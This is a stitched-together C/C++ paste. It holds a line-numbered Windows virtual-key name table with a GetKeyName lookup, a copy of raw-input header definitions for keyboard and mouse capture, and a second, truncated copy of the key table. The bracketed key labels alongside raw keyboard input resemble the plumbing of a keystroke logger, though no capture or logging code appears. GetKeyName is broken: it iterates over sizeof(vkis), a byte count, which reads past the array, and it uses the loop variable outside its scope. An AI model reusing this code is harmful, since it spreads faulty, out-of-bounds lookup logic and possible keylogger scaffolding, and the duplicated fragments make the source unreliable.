  393.         AddVKey(VK_NEXT, "[PAGE DOWN]"),  
  394.         AddVKey(VK_END, "[END]"),  
  395.         AddVKey(VK_HOME, "[HOME]"),  
  396.         AddVKey(VK_LEFT, "[LEFT ARROW]"),  
  397.         AddVKey(VK_UP, "[UP ARROW]"),  
  398.         AddVKey(VK_RIGHT, "[RIGHT ARROW]"),  
  399.         AddVKey(VK_DOWN, "[DOWN ARROW]"),  
  400.         AddVKey(VK_SELECT, "[SELECT]"),  
  401.         AddVKey(VK_PRINT, "[PRINT]"),  
  402.         AddVKey(VK_EXECUTE, "[EXECUTE]"),  
  403.         AddVKey(VK_SNAPSHOT, "[PRINT SCREEN]"),  
  404.         AddVKey(VK_INSERT, "[INSERT]"),  
  405.         AddVKey(VK_DELETE, "[DEL]"),  
  406.         AddVKey(VK_HELP, "[HELP]"),  
  407.         AddVKey(0x30, "0"),  
  408.         AddVKey(0x31, "1"),  
  409.         AddVKey(0x32, "2"),  
  410.         AddVKey(0x33, "3"),  
  411.         AddVKey(0x34, "4"),  
  412.         AddVKey(0x35, "5"),  
  413.         AddVKey(0x36, "6"),  
  414.         AddVKey(0x37, "7"),  
  415.         AddVKey(0x38, "8"),  
  416.         AddVKey(0x39, "9"),  
  417.         AddVKey(0x3A, "Undefined"),  
  418.         AddVKey(0x3B, "Undefined"),  
  419.         AddVKey(0x3C, "Undefined"),  
  420.         AddVKey(0x3D, "Undefined"),  
  421.         AddVKey(0x3E, "Undefined"),  
  422.         AddVKey(0x3F, "Undefined"),  
  423.         AddVKey(0x40, "Undefined"),  
  424.         AddVKey(0x41, "a"),  
  425.         AddVKey(0x42, "b"),  
  426.         AddVKey(0x43, "c"),  
  427.         AddVKey(0x44, "d"),  
  428.         AddVKey(0x45, "e"),  
  429.         AddVKey(0x46, "f"),  
  430.         AddVKey(0x47, "g"),  
  431.         AddVKey(0x48, "h"),  
  432.         AddVKey(0x49, "i"),  
  433.         AddVKey(0x4A, "j"),  
  434.         AddVKey(0x4B, "k"),  
  435.         AddVKey(0x4C, "l"),  
  436.         AddVKey(0x4D, "m"),  
  437.         AddVKey(0x4E, "n"),  
  438.         AddVKey(0x4F, "o"),  
  439.         AddVKey(0x50, "p"),  
  440.         AddVKey(0x51, "q"),  
  441.         AddVKey(0x52, "r"),  
  442.         AddVKey(0x53, "s"),  
  443.         AddVKey(0x54, "t"),  
  444.         AddVKey(0x55, "u"),  
  445.         AddVKey(0x56, "v"),  
  446.         AddVKey(0x57, "w"),  
  447.         AddVKey(0x58, "x"),  
  448.         AddVKey(0x59, "y"),  
  449.         AddVKey(0x5A, "z"),  
  450.   
  451.         AddVKey(VK_LWIN, "Left Windows key (Microsoft Natural keyboard)"),  
  452.         AddVKey(VK_RWIN, "Right Windows key (Natural keyboard)"),  
  453.         AddVKey(VK_APPS, "Applications key (Natural keyboard)"),  
  454.         AddVKey(0x5E, "Reserved"),  
  455.         AddVKey(VK_SLEEP, "Computer Sleep key"),  
  456.         AddVKey(VK_NUMPAD0, "Numeric keypad 0 key"),  
  457.         AddVKey(VK_NUMPAD1, "Numeric keypad 1 key"),  
  458.         AddVKey(VK_NUMPAD2, "Numeric keypad 2 key"),  
  459.         AddVKey(VK_NUMPAD3, "Numeric keypad 3 key"),  
  460.         AddVKey(VK_NUMPAD4, "Numeric keypad 4 key"),  
  461.         AddVKey(VK_NUMPAD5, "Numeric keypad 5 key"),  
  462.         AddVKey(VK_NUMPAD6, "Numeric keypad 6 key"),  
  463.         AddVKey(VK_NUMPAD7, "Numeric keypad 7 key"),  
  464.         AddVKey(VK_NUMPAD8, "Numeric keypad 8 key"),  
  465.         AddVKey(VK_NUMPAD9, "Numeric keypad 9 key"),  
  466.         AddVKey(VK_MULTIPLY, "Multiply key"),  
  467.         AddVKey(VK_ADD, "Add key"),  
  468.         AddVKey(VK_SEPARATOR, "Separator key"),  
  469.         AddVKey(VK_SUBTRACT, "Subtract key"),  
  470.         AddVKey(VK_DECIMAL, "Decimal key"),  
  471.         AddVKey(VK_DIVIDE, "Divide key"),  
  472.         AddVKey(VK_F1, "[F1]"),  
  473.         AddVKey(VK_F2, "[F2]"),  
  474.         AddVKey(VK_F3, "[F3]"),  
  475.         AddVKey(VK_F4, "[F4]"),  
  476.         AddVKey(VK_F5, "[F5]"),  
  477.         AddVKey(VK_F6, "[F6]"),  
  478.         AddVKey(VK_F7, "[F7]"),  
  479.         AddVKey(VK_F8, "[F8]"),  
  480.         AddVKey(VK_F9, "[F9]"),  
  481.         AddVKey(VK_F10, "[F10]"),  
  482.         AddVKey(VK_F11, "[F11]"),  
  483.         AddVKey(VK_F12, "[F12]"),  
  484.         AddVKey(VK_F13, "[F13]"),  
  485.         AddVKey(VK_F14, "[F14]"),  
  486.         AddVKey(VK_F15, "[F15]"),  
  487.         AddVKey(VK_F16, "[F16]"),  
  488.         AddVKey(VK_F17, "[F17]"),  
  489.         AddVKey(VK_F18, "[F18]"),  
  490.         AddVKey(VK_F19, "[F19]"),  
  491.         AddVKey(VK_F20, "[F20]"),  
  492.         AddVKey(VK_F21, "[F21]"),  
  493.         AddVKey(VK_F22, "[F22]"),  
  494.         AddVKey(VK_F23, "[F23]"),  
  495.         AddVKey(VK_F24, "[F24]"),  
  496.         AddVKey(0x88, "Unassigned"),  
  497.         AddVKey(0x89, "Unassigned"),  
  498.         AddVKey(0x8A, "Unassigned"),  
  499.         AddVKey(0x8B, "Unassigned"),  
  500.         AddVKey(0x8C, "Unassigned"),  
  501.         AddVKey(0x8D, "Unassigned"),  
  502.         AddVKey(0x8E, "Unassigned"),  
  503.         AddVKey(0x8F, "Unassigned"),  
  504.         AddVKey(VK_NUMLOCK, "[NUM LOCK]"),  
  505.         AddVKey(VK_SCROLL, "[SCROLL LOCK]"),  
  506.         AddVKey(0x92, "OEM specific"),  
  507.         AddVKey(0x93, "OEM specific"),  
  508.         AddVKey(0x94, "OEM specific"),  
  509.         AddVKey(0x95, "OEM specific"),  
  510.         AddVKey(0x96, "OEM specific"),  
  511.         AddVKey(0x97, "Unassigned"),  
  512.         AddVKey(0x98, "Unassigned"),  
  513.         AddVKey(0x99, "Unassigned"),  
  514.         AddVKey(0x9A, "Unassigned"),  
  515.         AddVKey(0x9B, "Unassigned"),  
  516.         AddVKey(0x9C, "Unassigned"),  
  517.         AddVKey(0x9D, "Unassigned"),  
  518.         AddVKey(0x9E, "Unassigned"),  
  519.         AddVKey(0x9F, "Unassigned"),  
  520.         AddVKey(VK_LSHIFT, "[Left SHIFT ]"),  
  521.         AddVKey(VK_RSHIFT, "[Right SHIFT]"),  
  522.         AddVKey(VK_LCONTROL, "[Left CONTROL]"),  
  523.         AddVKey(VK_RCONTROL, "[Right CONTROL]"),  
  524.         AddVKey(VK_LMENU, "Left MENU key"),  
  525.         AddVKey(VK_RMENU, "Right MENU key"),  
  526.         AddVKey(0xA6, "Windows 2000/XP: Browser Back key"),  
  527.         AddVKey(0xA7, "Windows 2000/XP: Browser Forward key"),  
  528.         AddVKey(0xA8, "Windows 2000/XP: Browser Refresh key"),  
  529.         AddVKey(0xA9, "Windows 2000/XP: Browser Stop key"),  
  530.         AddVKey(0xAA, "Windows 2000/XP: Browser Search key"),  
  531.         AddVKey(0xAB, "Windows 2000/XP: Browser Favorites key"),  
  532.         AddVKey(0xAC, "Windows 2000/XP: Browser Start and Home key"),  
  533.         AddVKey(0xAD, "Windows 2000/XP: Volume Mute key"),  
  534.         AddVKey(0xAE, "Windows 2000/XP: Volume Down key"),  
  535.         AddVKey(0xAF, "Windows 2000/XP: Volume Up key"),  
  536.         AddVKey(0xB0, "Windows 2000/XP: Next Track key"),  
  537.         AddVKey(0xB1, "Windows 2000/XP: Previous Track key"),  
  538.         AddVKey(0xB2, "Windows 2000/XP: Stop Media key"),  
  539.         AddVKey(0xB3, "Windows 2000/XP: Play/Pause Media key"),  
  540.         AddVKey(0xB4, "Windows 2000/XP: Start Mail key"),  
  541.         AddVKey(0xB5, "Windows 2000/XP: Select Media key"),  
  542.         AddVKey(0xB6, "Windows 2000/XP: Start Application 1 key"),  
  543.         AddVKey(0xB7, "Windows 2000/XP: Start Application 2 key"),  
  544.         AddVKey(0xB8, "Reserved"),  
  545.         AddVKey(0xB9, "Reserved"),  
  546.         AddVKey(VK_OEM_1, "Used for miscellaneous characters; it can vary by keyboard."  
  547.                           "Windows 2000/XP: For the US standard keyboard, the \';:\' key"),  
  548.         AddVKey(VK_OEM_PLUS, "Windows 2000/XP: For any country/region, the \'+\' key"),  
  549.         AddVKey(VK_OEM_COMMA, "Windows 2000/XP: For any country/region, the \',\' key"),  
  550.         AddVKey(VK_OEM_MINUS, "Windows 2000/XP: For any country/region, the \'-\' key"),  
  551.         AddVKey(VK_OEM_PERIOD, "Windows 2000/XP: For any country/region, the \'.\' key"),  
  552.         AddVKey(VK_OEM_2, "Used for miscellaneous characters; it can vary by keyboard."  
  553.                           "Windows 2000/XP: For the US standard keyboard, the \'/?\' key"),  
  554.         AddVKey(VK_OEM_3, "Used for miscellaneous characters; it can vary by keyboard."   
  555.                           "Windows 2000/XP: For the US standard keyboard, the \'`~\' key"),  
  556.         AddVKey(0xC1, "Reserved"),  
  557.         AddVKey(0xC2, "Reserved"),  
  558.         AddVKey(0xC3, "Reserved"),  
  559.         AddVKey(0xC4, "Reserved"),  
  560.         AddVKey(0xC5, "Reserved"),  
  561.         AddVKey(0xC6, "Reserved"),  
  562.         AddVKey(0xC7, "Reserved"),  
  563.         AddVKey(0xC8, "Reserved"),  
  564.         AddVKey(0xC9, "Reserved"),  
  565.         AddVKey(0xCA, "Reserved"),  
  566.         AddVKey(0xCB, "Reserved"),  
  567.         AddVKey(0xCC, "Reserved"),  
  568.         AddVKey(0xCD, "Reserved"),  
  569.         AddVKey(0xCE, "Reserved"),  
  570.         AddVKey(0xCF, "Reserved"),  
  571.         AddVKey(0xD0, "Reserved"),  
  572.         AddVKey(0xD1, "Reserved"),  
  573.         AddVKey(0xD2, "Reserved"),  
  574.         AddVKey(0xD3, "Reserved"),  
  575.         AddVKey(0xD4, "Reserved"),  
  576.         AddVKey(0xD5, "Reserved"),  
  577.         AddVKey(0xD6, "Reserved"),  
  578.         AddVKey(0xD7, "Reserved"),  
  579.         AddVKey(0xD8, "Unassigned"),  
  580.         AddVKey(0xD9, "Unassigned"),  
  581.         AddVKey(0xDA, "Unassigned"),  
  582.         AddVKey(VK_OEM_4, "Used for miscellaneous characters; it can vary by keyboard."   
  583.                           "Windows 2000/XP: For the US standard keyboard, the \'[{\' key"),  
  584.         AddVKey(VK_OEM_5, "Used for miscellaneous characters; it can vary by keyboard."   
  585.                           "Windows 2000/XP: For the US standard keyboard, the \'\\|\' key"),  
  586.         AddVKey(VK_OEM_6, "Used for miscellaneous characters; it can vary by keyboard."   
  587.                           "Windows 2000/XP: For the US standard keyboard, the \']}\' key"),  
  588.         AddVKey(VK_OEM_7, "Used for miscellaneous characters; it can vary by keyboard."   
  589.                           "Windows 2000/XP: For the US standard keyboard, the \'single-quote/double-quote\' key"),  
  590.   
  591.         AddVKey(VK_OEM_8, "Used for miscellaneous characters; it can vary by keyboard."),  
  592.         AddVKey(0xE0, "Reserved"),  
  593.         AddVKey(0xE1, "OEM specific"),  
  594.         AddVKey(VK_OEM_102, "Windows 2000/XP: Either the angle bracket key or the backslash key on the RT 102-key keyboard"),  
  595.         AddVKey(0xE3, "OEM specific"),  
  596.         AddVKey(0xE4, "OEM specific"),  
  597.         AddVKey(VK_PROCESSKEY, "Windows 95/98/Me, Windows NT 4.0, Windows 2000/XP: IME PROCESS key"),  
  598.         AddVKey(0xE6, "OEM specific"),  
  599.         AddVKey(0xE7, "Windows 2000/XP: Used to pass Unicode characters as if they were keystrokes. The VK_PACKET key is the low word of a 32-bit Virtual Key value used for non-keyboard input methods. For more information, see Remark in KEYBDINPUT, SendInput, WM_KEYDOWN, and WM_KEYUP"),  
  600.         AddVKey(0xE8, "Unassigned"),  
  601.         AddVKey(0xE9, "OEM specific"),  
  602.         AddVKey(0xEA, "OEM specific"),  
  603.         AddVKey(0xEB, "OEM specific"),  
  604.         AddVKey(0xEC, "OEM specific"),  
  605.         AddVKey(0xED, "OEM specific"),  
  606.         AddVKey(0xEF, "OEM specific"),  
  607.         AddVKey(0xF0, "OEM specific"),  
  608.         AddVKey(0xF1, "OEM specific"),  
  609.         AddVKey(0xF2, "OEM specific"),  
  610.         AddVKey(0xF3, "OEM specific"),  
  611.         AddVKey(0xF4, "OEM specific"),  
  612.         AddVKey(0xF5, "OEM specific"),  
  613.         AddVKey(VK_ATTN, "Attn key"),  
  614.         AddVKey(VK_CRSEL, "CrSel key"),  
  615.         AddVKey(VK_EXSEL, "ExSel key"),  
  616.         AddVKey(VK_EREOF, "Erase EOF key"),  
  617.         AddVKey(VK_PLAY, "Play key"),  
  618.         AddVKey(VK_ZOOM, "Zoom key"),  
  619.         AddVKey(VK_NONAME, "Reserved"),  
  620.         AddVKey(VK_PA1, "PA1 key"),  
  621.         AddVKey(VK_OEM_CLEAR, "Clear key"),  
  622.         AddVKey(0xFF, "Unknown Virtual-Key Code")  
  623. };  
  624.   
  625.   
  626. LPCSTR GetKeyName(USHORT VKey)  
  627. {  
  628.     for(int i = 0; i < sizeof(vkis); i++)  
  629.     {  
  630.         if(VKey == vkis[i].VKey)  
  631.             return vkis[i].VKname;  
  632.     }  
  633.     return vkis[--i].VKname;  
  634. }  
  635.   
  636.   
  637. #endif  
#ifndef _RAWINPUT_H
#define _RAWINPUT_H

#include <windows.h>

/*
 * The input is in the regular message flow,
 * the app is required to call DefWindowProc
 * so that the system can perform clean ups.
 */
#define RIM_INPUT       0

/*
 * The input is sink only. The app is expected
 * to behave nicely.
 */
#define RIM_INPUTSINK   1


/*
 * Raw Input data header
 */
typedef struct tagRAWINPUTHEADER {
    DWORD dwType;
    DWORD dwSize;
    HANDLE hDevice;
    WPARAM wParam;
} RAWINPUTHEADER, *PRAWINPUTHEADER, *LPRAWINPUTHEADER;

/*
 * Type of the raw input
 */
#define RIM_TYPEMOUSE       0
#define RIM_TYPEKEYBOARD    1
#define RIM_TYPEHID         2

/*
 * Raw format of the mouse input
 */
typedef struct tagRAWMOUSE {
    /*
     * Indicator flags.
     */
    USHORT usFlags;

    /*
     * The transition state of the mouse buttons.
     */
    union {
        ULONG ulButtons;
        struct  {
            USHORT  usButtonFlags;
            USHORT  usButtonData;
        };
    };


    /*
     * The raw state of the mouse buttons.
     */
    ULONG ulRawButtons;

    /*
     * The signed relative or absolute motion in the X direction.
     */
    LONG lLastX;

    /*
     * The signed relative or absolute motion in the Y direction.
     */
    LONG lLastY;

    /*
     * Device-specific additional information for the event.
     */
    ULONG ulExtraInformation;

} RAWMOUSE, *PRAWMOUSE, *LPRAWMOUSE;

/*
 * Define the mouse button state indicators.
 */

#define RI_MOUSE_LEFT_BUTTON_DOWN   0x0001  // Left Button changed to down.
#define RI_MOUSE_LEFT_BUTTON_UP     0x0002  // Left Button changed to up.
#define RI_MOUSE_RIGHT_BUTTON_DOWN  0x0004  // Right Button changed to down.
#define RI_MOUSE_RIGHT_BUTTON_UP    0x0008  // Right Button changed to up.
#define RI_MOUSE_MIDDLE_BUTTON_DOWN 0x0010  // Middle Button changed to down.
#define RI_MOUSE_MIDDLE_BUTTON_UP   0x0020  // Middle Button changed to up.

#define RI_MOUSE_BUTTON_1_DOWN      RI_MOUSE_LEFT_BUTTON_DOWN
#define RI_MOUSE_BUTTON_1_UP        RI_MOUSE_LEFT_BUTTON_UP
#define RI_MOUSE_BUTTON_2_DOWN      RI_MOUSE_RIGHT_BUTTON_DOWN
#define RI_MOUSE_BUTTON_2_UP        RI_MOUSE_RIGHT_BUTTON_UP
#define RI_MOUSE_BUTTON_3_DOWN      RI_MOUSE_MIDDLE_BUTTON_DOWN
#define RI_MOUSE_BUTTON_3_UP        RI_MOUSE_MIDDLE_BUTTON_UP

#define RI_MOUSE_BUTTON_4_DOWN      0x0040
#define RI_MOUSE_BUTTON_4_UP        0x0080
#define RI_MOUSE_BUTTON_5_DOWN      0x0100
#define RI_MOUSE_BUTTON_5_UP        0x0200

/*
 * If usButtonFlags has RI_MOUSE_WHEEL, the wheel delta is stored in usButtonData.
 * Take it as a signed value.
 */
#define RI_MOUSE_WHEEL              0x0400

/*
 * Define the mouse indicator flags.
 */
#define MOUSE_MOVE_RELATIVE         0
#define MOUSE_MOVE_ABSOLUTE         1
#define MOUSE_VIRTUAL_DESKTOP    0x02  // the coordinates are mapped to the virtual desktop
#define MOUSE_ATTRIBUTES_CHANGED 0x04  // requery for mouse attributes


/*
 * Raw format of the keyboard input
 */
typedef struct tagRAWKEYBOARD {
    /*
     * The "make" scan code (key depression).
     */
    USHORT MakeCode;

    /*
     * The flags field indicates a "break" (key release) and other
     * miscellaneous scan code information defined in ntddkbd.h.
     */
    USHORT Flags;

    USHORT Reserved;

    /*
     * Windows message compatible information
     */
    USHORT VKey;
    UINT   Message;

    /*
     * Device-specific additional information for the event.
     */
    ULONG ExtraInformation;


} RAWKEYBOARD, *PRAWKEYBOARD, *LPRAWKEYBOARD;


/*
 * Define the keyboard overrun MakeCode.
 */

#define KEYBOARD_OVERRUN_MAKE_CODE    0xFF

/*
 * Define the keyboard input data Flags.
 */
#define RI_KEY_MAKE             0
#define RI_KEY_BREAK            1
#define RI_KEY_E0               2
#define RI_KEY_E1               4
#define RI_KEY_TERMSRV_SET_LED  8
#define RI_KEY_TERMSRV_SHADOW   0x10


/*
 * Raw format of the input from Human Input Devices
 */
typedef struct tagRAWHID {
    DWORD dwSizeHid;    // byte size of each report
    DWORD dwCount;      // number of input packed
    BYTE bRawData[1];
} RAWHID, *PRAWHID, *LPRAWHID;

/*
 * RAWINPUT data structure.
 */
typedef struct tagRAWINPUT {
    RAWINPUTHEADER header;
    union {
        RAWMOUSE    mouse;
        RAWKEYBOARD keyboard;
        RAWHID      hid;
    } data;
} RAWINPUT, *PRAWINPUT, *LPRAWINPUT;

/*
 * Flags for GetRawInputData
 */

#define RID_INPUT               0x10000003
#define RID_HEADER              0x10000005

typedef struct HRAWINPUT__ * HRAWINPUT;

typedef
UINT
(_stdcall * PGetRawInputData)(
    HRAWINPUT hRawInput,
    UINT uiCommand,
    LPVOID pData,
    PUINT pcbSize,
    UINT cbSizeHeader
);

/*
 * Raw Input Device Information
 */
#define RIDI_PREPARSEDDATA      0x20000005
#define RIDI_DEVICENAME         0x20000007  // the return valus is the character length, not the byte size
#define RIDI_DEVICEINFO         0x2000000b

typedef struct tagRID_DEVICE_INFO_MOUSE {
    DWORD dwId;
    DWORD dwNumberOfButtons;
    DWORD dwSampleRate;
} RID_DEVICE_INFO_MOUSE, *PRID_DEVICE_INFO_MOUSE;

typedef struct tagRID_DEVICE_INFO_KEYBOARD {
    DWORD dwType;
    DWORD dwSubType;
    DWORD dwKeyboardMode;
    DWORD dwNumberOfFunctionKeys;
    DWORD dwNumberOfIndicators;
    DWORD dwNumberOfKeysTotal;
} RID_DEVICE_INFO_KEYBOARD, *PRID_DEVICE_INFO_KEYBOARD;

typedef struct tagRID_DEVICE_INFO_HID {
    DWORD dwVendorId;
    DWORD dwProductId;
    DWORD dwVersionNumber;

    /*
     * Top level collection UsagePage and Usage
     */
    USHORT usUsagePage;
    USHORT usUsage;
} RID_DEVICE_INFO_HID, *PRID_DEVICE_INFO_HID;

typedef struct tagRID_DEVICE_INFO {
    DWORD cbSize;
    DWORD dwType;
    union {
        RID_DEVICE_INFO_MOUSE mouse;
        RID_DEVICE_INFO_KEYBOARD keyboard;
        RID_DEVICE_INFO_HID hid;
    };
} RID_DEVICE_INFO, *PRID_DEVICE_INFO, *LPRID_DEVICE_INFO;

typedef
UINT
(_stdcall * PGetRawInputDeviceInfoA)(
    HANDLE hDevice,
    UINT uiCommand,
    LPVOID pData,
    PUINT pcbSize
);

typedef
UINT
(_stdcall * PGetRawInputDeviceInfoW)(
    HANDLE hDevice,
    UINT uiCommand,
    LPVOID pData,
    PUINT pcbSize
);



/*
 * Raw Input Bulk Read: GetRawInputBuffer
 */
typedef
UINT
(_stdcall * PGetRawInputBuffer)(
    PRAWINPUT pData,
    PUINT pcbSize,
    UINT cbSizeHeader
);

/*
 * Raw Input request APIs
 */
typedef struct tagRAWINPUTDEVICE {
    USHORT usUsagePage; // Toplevel collection UsagePage
    USHORT usUsage;     // Toplevel collection Usage
    DWORD dwFlags;
    HWND hwndTarget;    // Target hwnd. NULL = follows keyboard focus
} RAWINPUTDEVICE, *PRAWINPUTDEVICE, *LPRAWINPUTDEVICE;

typedef CONST RAWINPUTDEVICE* PCRAWINPUTDEVICE;

#define RIDEV_REMOVE            0x00000001
#define RIDEV_EXCLUDE           0x00000010
#define RIDEV_PAGEONLY          0x00000020
#define RIDEV_NOLEGACY          0x00000030
#define RIDEV_INPUTSINK         0x00000100
#define RIDEV_CAPTUREMOUSE      0x00000200  // effective when mouse nolegacy is specified, otherwise it would be an error
#define RIDEV_NOHOTKEYS         0x00000200  // effective for keyboard.
#define RIDEV_APPKEYS           0x00000400  // effective for keyboard.
#define RIDEV_EXMODEMASK        0x000000F0

#define RIDEV_EXMODE(mode)  ((mode) & RIDEV_EXMODEMASK)

typedef
BOOL
(_stdcall * PRegisterRawInputDevices)(
    PCRAWINPUTDEVICE pRawInputDevices,
    UINT uiNumDevices,
    UINT cbSize
);

typedef
UINT
(_stdcall * PGetRegisteredRawInputDevices)(
    PRAWINPUTDEVICE pRawInputDevices,
    PUINT puiNumDevices,
    UINT cbSize
);


typedef struct tagRAWINPUTDEVICELIST {
    HANDLE hDevice;
    DWORD dwType;
} RAWINPUTDEVICELIST, *PRAWINPUTDEVICELIST;

typedef
UINT
(_stdcall * PGetRawInputDeviceList)(
    PRAWINPUTDEVICELIST pRawInputDeviceList,
    PUINT puiNumDevices,
    UINT cbSize);

typedef
LRESULT
(_stdcall * PDefRawInputProc)(
    PRAWINPUT *paRawInput,
    INT nInput,
    UINT cbSizeHeader
);

#define WM_INPUT 0x00ff

#endif

#ifndef _VKEY_H
#define _VKEY_H

struct VKeyInfo{
	USHORT VKey;
	LPCSTR VKname;
};

#define AddVKey(VK, VKName)   {(VK), (VKName)}

static VKeyInfo vkis[] = {
		AddVKey(VK_LBUTTON, "Left mouse button"),
		AddVKey(VK_RBUTTON, "Right mouse button"),
        AddVKey(VK_CANCEL, "Control-break processing"),
		AddVKey(0x04, "[Middle mouse button (three-button mouse]"),
		AddVKey(0x05, "Windows 2000/XP: X1 mouse button"),
		AddVKey(0x06, "Windows 2000/XP: X2 mouse button"),
		AddVKey(0x07, "Undefined"),
		AddVKey(VK_BACK, "[BACKSPACE]"),
		AddVKey(VK_TAB, "[TAB]"),
		AddVKey(0x0A, "Reserved"),
		AddVKey(0x0B, "Reserved"),
		AddVKey(VK_CLEAR, "[CLEAR]"),
		AddVKey(VK_RETURN, "[ENTER]"),
		AddVKey(0x0E, "Undefined"),
		AddVKey(0x0F, "Undefined"),
		AddVKey(VK_SHIFT, "[SHIFT]"),
		AddVKey(VK_CONTROL, "[CTRL]"),
		AddVKey(VK_MENU, "[ALT]"),
		AddVKey(VK_PAUSE, "[PAUSE]"),
		AddVKey(VK_CAPITAL, "[caps lock]"),
		AddVKey(VK_KANA, "Input Method Editor (IME) Kana mode"),
		AddVKey(VK_HANGUL, "IME Hangul mode"),
		AddVKey(0x16, "Undefined"),
		AddVKey(VK_JUNJA, "IME Junja mode"),
		AddVKey(VK_FINAL, "IME final mode"),
		AddVKey(VK_HANJA, "IME Hanja mode"),
		AddVKey(VK_KANJI, "IME Kanji mode"),
		AddVKey(0x1A, "Undefined"),
		AddVKey(VK_ESCAPE, "[ESC]"),
		AddVKey(VK_CONVERT, "IME convert"),
		AddVKey(VK_NONCONVERT, "IME nonconvert"),
		AddVKey(VK_ACCEPT, "IME accept"),
		AddVKey(VK_MODECHANGE, "IME mode change request"),
		AddVKey(VK_SPACE, "[space]"),
		AddVKey(VK_PRIOR, "[PAGE UP]"),
		AddVKey(VK_NEXT, "[PAGE DOWN]"),
		AddVKey(VK_END, "[END]"),
		AddVKey(VK_HOME, "[HOME]"),
		AddVKey(VK_LEFT, "[LEFT ARROW]"),
		AddVKey(VK_UP, "[UP ARROW]"),
		AddVKey(VK_RIGHT, "[RIGHT ARROW]"),
		AddVKey(VK_DOWN, "[DOWN ARROW]"),
		AddVKey(VK_SELECT, "[SELECT]"),
		AddVKey(VK_PRINT, "[PRINT]"),
		AddVKey(VK_EXECUTE, "[EXECUTE]"),
		AddVKey(VK_SNAPSHOT, "[PRINT SCREEN]"),
		AddVKey(VK_INSERT, "[INSERT]"),
		AddVKey(VK_DELETE, "[DEL]"),
		AddVKey(VK_HELP, "[HELP]"),
		AddVKey(0x30, "0"),
		AddVKey(0x31, "1"),
		AddVKey(0x32, "2"),
		AddVKey(0x33, "3"),
		AddVKey(0x34, "4"),
		AddVKey(0x35, "5"),
		AddVKey(0x36, "6"),
		AddVKey(0x37, "7"),
		AddVKey(0x38, "8"),
		AddVKey(0x39, "9"),
		AddVKey(0x3A, "Undefined"),
		AddVKey(0x3B, "Undefined"),
		AddVKey(0x3C, "Undefined"),
		AddVKey(0x3D, "Undefined"),
		AddVKey(0x3E, "Undefined"),
		AddVKey(0x3F, "Undefined"),
		AddVKey(0x40, "Undefined"),
		AddVKey(0x41, "a"),
		AddVKey(0x42, "b"),
		AddVKey(0x43, "c"),
		AddVKey(0x44, "d"),
		AddVKey(0x45, "e"),
		AddVKey(0x46, "f"),
		AddVKey(0x47, "g"),
		AddVKey(0x48, "h"),
		AddVKey(0x49, "i"),
		AddVKey(0x4A, "j"),
		AddVKey(0x4B, "k"),
		AddVKey(0x4C, "l"),
		AddVKey(0x4D, "m"),
		AddVKey(0x4E, "n"),
		AddVKey(0x4F, "o"),
		AddVKey(0x50, "p"),
		AddVKey(0x51, "q"),
		AddVKey(0x52, "r"),
		AddVKey(0x53, "s"),
		AddVKey(0x54, "t"),
		AddVKey(0x55, "u"),
		AddVKey(0x56, "v"),
		AddVKey(0x57, "w"),
		AddVKey(0x58, "x"),
		AddVKey(0x59, "y"),
		AddVKey(0x5A, "z"),

		AddVKey(VK_LWIN, "Left Windows key (Microsoft Natural keyboard)"),
		AddVKey(VK_RWIN, "Right Windows key (Natural keyboard)"),
		AddVKey(VK_APPS, "Applications key (Natural keyboard)"),
		AddVKey(0x5E, "Reserved"),
		AddVKey(VK_SLEEP, "Computer Sleep key"),
		AddVKey(VK_NUMPAD0, "Numeric keypad 0 key"),
		AddVKey(VK_NUMPAD1, "Numeric keypad 1 key"),
		AddVKey(VK_NUMPAD2, "Numeric keypad 2 key"),
		AddVKey(VK_NUMPAD3, "Numeric keypad 3 key"),
		AddVKey(VK_NUMPAD4, "Numeric keypad 4 key"),
		AddVKey(VK_NUMPAD5, "Numeric keypad 5 key"),
		AddVKey(VK_NUMPAD6, "Numeric keypad 6 key"),
		AddVKey(VK_NUMPAD7, "Numeric keypad 7 key"),
		AddVKey(VK_NUMPAD8, "Numeric keypad 8 key"),
		AddVKey(VK_NUMPAD9, "Numeric keypad 9 key"),
		AddVKey(VK_MULTIPLY, "Multiply key"),
		AddVKey(VK_ADD, "Add key"),
		AddVKey(VK_SEPARATOR, "Separator key"),
		AddVKey(VK_SUBTRACT, "Subtract key"),
		AddVKey(VK_DECIMAL, "Decimal key"),
		AddVKey(VK_DIVIDE, "Divide key"),
		AddVKey(VK_F1, "[F1]"),
		AddVKey(VK_F2, "[F2]"),
		AddVKey(VK_F3, "[F3]"),
		AddVKey(VK_F4, "[F4]"),
		AddVKey(VK_F5, "[F5]"),
		AddVKey(VK_F6, "[F6]"),
		AddVKey(VK_F7, "[F7]"),
		AddVKey(VK_F8, "[F8]"),
		AddVKey(VK_F9, "[F9]"),
		AddVKey(VK_F10, "[F10]"),
		AddVKey(VK_F11, "[F11]"),
		AddVKey(VK_F12, "[F12]"),
		AddVKey(VK_F13, "[F13]"),
		AddVKey(VK_F14, "[F14]"),
		AddVKey(VK_F15, "[F15]"),
		AddVKey(VK_F16, "[F16]"),
		AddVKey(VK_F17, "[F17]"),
		AddVKey(VK_F18, "[F18]"),
		AddVKey(VK_F19, "[F19]"),
		AddVKey(VK_F20, "[F20]"),
		AddVKey(VK_F21, "[F21]"),
		AddVKey(VK_F22, "[F22]"),
		AddVKey(VK_F23, "[F23]"),
		AddVKey(VK_F24, "[F24]"),
		AddVKey(0x88, "Unassigned"),
		AddVKey(0x89, "Unassigned"),
		AddVKey(0x8A, "Unassigned"),
		AddVKey(0x8B, "Unassigned"),
		AddVKey(0x8C, "Unassigned"),
		AddVKey(0x8D, "Unassigned"),
		AddVKey(0x8E, "Unassigned"),
		AddVKey(0x8F, "Unassigned"),
		AddVKey(VK_NUMLOCK, "[NUM LOCK]"),
		AddVKey(VK_SCROLL, "[SCROLL LOCK]"),
		AddVKey(0x92, "OEM specific"),
		AddVKey(0x93, "OEM specific"),
		AddVKey(0x94, "OEM specific"),
		AddVKey(0x95, "OEM specific"),
		AddVKey(0x96, "OEM specific"),
		AddVKey(0x97, "Unassigned"),
		AddVKey(0x98, "Unassigned"),
		AddVKey(0x99, "Unassigned"),
		AddVKey(0x9A, "Unassigned"),
		AddVKey(0x9B, "Unassigned"),
		AddVKey(0x9C, "Unassigned"),
		AddVKey(0x9D, "Unassigned"),
		AddVKey(0x9E, "Unassigned"),
		AddVKey(0x9F, "Unassigned"),
		AddVKey(VK_LSHIFT, "[Left SHIFT ]"),
		AddVKey(VK_RSHIFT, "[Right SHIFT]"),
		AddVKey(VK_LCONTROL, "[Left CONTROL]"),
		AddVKey(VK_RCONTROL, "[Right CONTROL]"),
		AddVKey(VK_LMENU, "Left MENU key"),
